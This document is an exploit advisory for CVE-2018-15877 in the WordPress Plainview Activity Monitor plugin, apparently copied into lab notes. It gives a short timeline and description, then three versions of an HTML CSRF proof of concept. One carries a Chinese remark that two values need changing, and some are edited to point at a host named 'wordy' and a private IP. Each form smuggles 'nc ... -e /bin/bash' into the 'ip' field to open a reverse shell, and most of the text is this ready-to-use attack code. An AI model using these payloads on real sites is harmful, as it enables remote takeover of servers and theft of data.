Timeline: =========== - 2018/08/25: Vulnerability found - 2018/08/25: CVE-ID request - 2018/08/26: Reported to developer - 2018/08/26: Fixed version - 2018/08/26: Advisory published on GitHub - 2018/08/26: Advisory sent to bugtraq mailing list
Description: =========== Plainview Activity Monitor Wordpress plugin is vulnerable to OS command injection which allows an attacker to remotely execute commands on underlying system. Application passes unsafe user supplied data to ip parameter into activities_overview.php. Privileges are required in order to exploit this vulnerability, but this plugin version is also vulnerable to CSRF attack and Reflected XSS. Combined, these three vulnerabilities can lead to Remote Command Execution just with an admin click on a malicious link.
<html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html>
poc需要修改两处
<html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc 192.168.124.134 1234 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html>
<html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc 192.168.124.134 6666 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html>
